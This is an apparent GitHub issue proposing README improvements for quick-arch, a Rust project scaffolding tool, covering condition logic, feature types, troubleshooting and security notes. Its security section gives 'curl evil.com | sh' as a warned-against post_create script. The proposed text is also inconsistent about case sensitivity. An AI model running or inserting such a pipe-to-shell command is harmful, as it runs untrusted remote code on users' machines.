Fix Documentation Inconsistencies and Improve Clarity

[AbdullahNamespace]

📝 Fix Documentation Inconsistencies and Improve Clarity

Priority: 🟡 Medium

Description

The README.md contains several contradictions, unclear statements, and outdated information that confuse users and misrepresent the tool's actual capabilities.

Critical Issues

1. Logical Operators Contradiction ⚠️

Location: README.md - "Condition Logic" section

The Problem:

# In "Examples" section (Line ~180):
{
  "path": "docker-compose.yml",
  "condition": "$USER_SERVICE == true || $PAYMENT_SERVICE == true"
}

# But in "Condition Logic" section (Line ~140):
"❌ Not Supported (yet):
// Complex logic (AND/OR) is not supported in v1.0
{ "condition": "$KUBERNETES == true && $DOCKER == true" }"

Impact:

• Users try to use || and && operators
• Conditions silently fail (evaluate to false)
• No error message shown
• Confusion about what's supported

Solution:

## 🧠 Condition Logic (v1.0)

### ⚠️ Current Limitations
Only **simple equality checks** are supported in v1.0:

✅ **Supported:**
```json
{ "condition": "$DOCKER == true" }
{ "condition": "$ENV == production" }

❌ NOT Supported (will be ignored):

{ "condition": "$DOCKER == true && $K8S == true" }  // AND
{ "condition": "$DOCKER == true || $K8S == true" }  // OR
{ "condition": "$PORT != 8080" }                     // NOT EQUAL
{ "condition": "$COUNT > 5" }                        // GREATER THAN

Workaround: Create separate items with individual conditions

{
  "directories": [
    {"path": "services/user", "condition": "$USER_SERVICE == true"},
    {"path": "services/payment", "condition": "$PAYMENT_SERVICE == true"}
  ]
}

🗺️ Roadmap

• v1.1: Boolean operators (&&, ||, !)
• v1.2: Comparison operators (>, <, !=, >=, <=)
• v2.0: Complex expressions and grouping

### 2. Unclear Feature Type Handling

**Location**: README.md - "Features" section

**The Problem**:
```markdown
# Current documentation:
{
  "features": {
    "cqrs": true,
    "ddd": true,
    "kubernetes": false
  }
}

Missing Information:

• Can features be strings? Numbers?
• What happens with "kubernetes": "yes"?
• Are booleans case-sensitive?
• What about null values?

Solution:

## 2. Features (Variables)

Define flags that control what gets generated. Features support multiple types:

### Supported Types

**Boolean** (recommended for true/false flags):
```json
{
  "features": {
    "docker": true,
    "kubernetes": false
  }
}

String (for named values):

{
  "features": {
    "environment": "production",
    "region": "us-west-2"
  }
}

Number (for numeric values):

{
  "features": {
    "port": 8080,
    "replicas": 3
  }
}

Type Conversion

All feature values are converted to uppercase strings internally:

• true → "TRUE"
• "production" → "PRODUCTION"
• 8080 → "8080"

Case Insensitivity

Comparisons are case-insensitive:

// These all work:
"$DOCKER == true"
"$DOCKER == True"
"$DOCKER == TRUE"

"$ENV == production"
"$ENV == PRODUCTION"
"$ENV == Production"

Unsupported Types

• null - Ignored
• Arrays - Ignored
• Objects - Ignored

### 3. Missing Template Access Instructions

**Location**: README.md - "Included Templates" section

**The Problem**:
```markdown
"Note: If you installed quick-arch via cargo install, 
the templates are not included in the binary."

But no clear instructions on how to GET the templates!

Solution:

## 📂 Getting Templates

### Option 1: Clone Repository (Recommended)
```bash
# Get all templates
git clone https://github.com/AbdullahNamespace/quick-arch.git
cd quick-arch/template

# Use a template
quick-arch --config fastapi.json --output ~/my-api

Option 2: Download Individual Template

# Download directly from GitHub
curl -O https://raw.githubusercontent.com/AbdullahNamespace/quick-arch/main/template/fastapi.json

# Use it
quick-arch --config fastapi.json

Option 3: Create Your Own

See [Creating Templates](#creating-templates) section below.

### 4. Incomplete Troubleshooting Section

**Location**: README.md - "Troubleshooting"

**Missing Common Issues**:
- Permission errors
- Script execution failures on Windows
- Path separator issues (Windows vs Unix)
- Large file handling
- Network issues for post_create scripts

**Solution**:
```markdown
## 🐛 Troubleshooting

### Config File Not Found
**Error**: `Config file not found: 'config.json'`

**Solutions**:
```bash
# Use absolute path
quick-arch --config /home/user/projects/config.json

# Or verify current directory
pwd
ls -la config.json

# Check file permissions
ls -l config.json  # Should be readable (r--)

Condition Not Working

Error: Directory/file skipped unexpectedly

Common causes:

1. Variable name case mismatch

   // ❌ Wrong
   "features": {"docker": true}
   "condition": "$docker == true"  // Should be $DOCKER
   
   // ✅ Correct
   "condition": "$DOCKER == true"

2. Value case mismatch (before v1.1)

   // ❌ Fails in v1.0
   "features": {"docker": "True"}
   "condition": "$DOCKER == true"  // "True" != "true"
   
   // ✅ Use boolean
   "features": {"docker": true}

Script Execution Failed

Error: Red output during "Running Scripts" phase

Solutions:

On Linux/macOS:

# Check script is valid
sh -c "npm install"  # Test manually

# Verify command exists
which npm
which cargo

On Windows:

# Use Windows-compatible commands
"custom_scripts": {
  "post_create": [
    "npm.cmd install",  # Add .cmd for Windows
    "cargo.exe build"   # Or use .exe
  ]
}

# Or use cross-platform wrapper scripts
"custom_scripts": {
  "post_create": [
    "sh ./scripts/setup.sh"  # Create this in your template
  ]
}

Permission Denied

Error: Permission denied (os error 13)

Solutions:

# Check output directory permissions
ls -ld /path/to/output

# Create with correct permissions
mkdir -m 755 my_project

# Or run with appropriate user
sudo quick-arch --config config.json  # Last resort!

Path Too Long (Windows)

Error: The filename or extension is too long

Solutions:

• Use shorter output path
• Enable long path support in Windows
• Reduce nested directory depth

Large Project Generation Hangs

Solutions:

• Check disk space: df -h
• Monitor with: quick-arch --config huge.json --verbose
• Split into multiple configs
• Use --dry-run first (future feature)

### 5. No Security Warning

**Critical Missing Section**:

**Add to README**:
```markdown
## 🔒 Security Considerations

### ⚠️ Important Security Notes

#### 1. Untrusted Configs
**Never run configs from untrusted sources without review!**

Configs can:
- Create files anywhere on your system
- Execute arbitrary commands
- Delete files via scripts

**Best Practice**:
```bash
# Always review first
cat config.json
cat config.json | grep -A 10 "custom_scripts"

# Or use --no-scripts flag (v1.1+)
quick-arch --config untrusted.json --no-scripts

2. Script Execution

Scripts run with your user permissions. Review all custom_scripts entries:

{
  "custom_scripts": {
    "post_create": [
      "git init",      // ✅ Safe
      "npm install",   // ⚠️  Downloads code from internet
      "curl evil.com | sh"  // 🔴 NEVER do this!
    ]
  }
}

3. File Paths

Future versions will restrict paths to the project directory. For now:

• Avoid .. in paths
• Don't use absolute paths
• Be cautious with user-provided paths

For more information, see [SECURITY.md](SECURITY.md)

## Additional Improvements

### 6. Add Quick Start Section

**Add at the top, after Features**:
```markdown
## ⚡ Quick Start

### 1. Install
```bash
cargo install quick-arch

2. Create a config

{
  "project": {"name": "my_app"},
  "features": {"docker": true},
  "directories": ["src", "tests"],
  "files": ["README.md"],
  "custom_scripts": {"post_create": ["git init"]}
}

Save as config.json

3. Generate

quick-arch --config config.json
cd my_app

That's it! 🎉

### 7. Add Comparison Table

```markdown
## 🆚 Why quick-arch?

| Feature | quick-arch | cookiecutter | yeoman | custom scripts |
|---------|-----------|--------------|--------|----------------|
| **Language** | Rust | Python | JavaScript | Bash/etc |
| **Speed** | ⚡ Instant | Slow | Medium | Fast |
| **Dependencies** | None | Python + packages | Node.js | Varies |
| **Conditionals** | ✅ JSON-based | ✅ Jinja2 | ✅ EJS | ❌ Manual |
| **Cross-platform** | ✅ Single binary | ⚠️ Needs Python | ⚠️ Needs Node | ❌ Shell-specific |
| **Learning Curve** | ⭐ Simple JSON | ⭐⭐ Template syntax | ⭐⭐⭐ JS knowledge | ⭐⭐⭐⭐ |

Action Items

Phase 1: Fix Critical Issues (High Priority)

• Remove OR/AND examples from documentation
• Add clear "Not Supported" section
• Add Security Considerations section
• Fix template access instructions

Phase 2: Improve Clarity (Medium Priority)

• Add comprehensive Troubleshooting section
• Document all feature types
• Add Quick Start guide
• Add comparison table

Phase 3: Additional Docs (Low Priority)

• Create SECURITY.md
• Create CONTRIBUTING.md
• Add more examples in /examples directory
• Create tutorial video/GIF
• Add FAQ section

Files to Update

• README.md (main documentation)
• Create SECURITY.md (new file)
• Update examples in /template directory
• Add inline code comments

Success Criteria

• No contradictions in documentation
• All features clearly documented
• Security warnings prominent
• Users can follow docs without external help
• Examples all work as shown

Related Issues

• Relates to Case-Sensitive Condition Evaluation Breaks Feature Flags #3 (condition evaluation)
• Blocks user adoption if unclear
• Reduces support burden when complete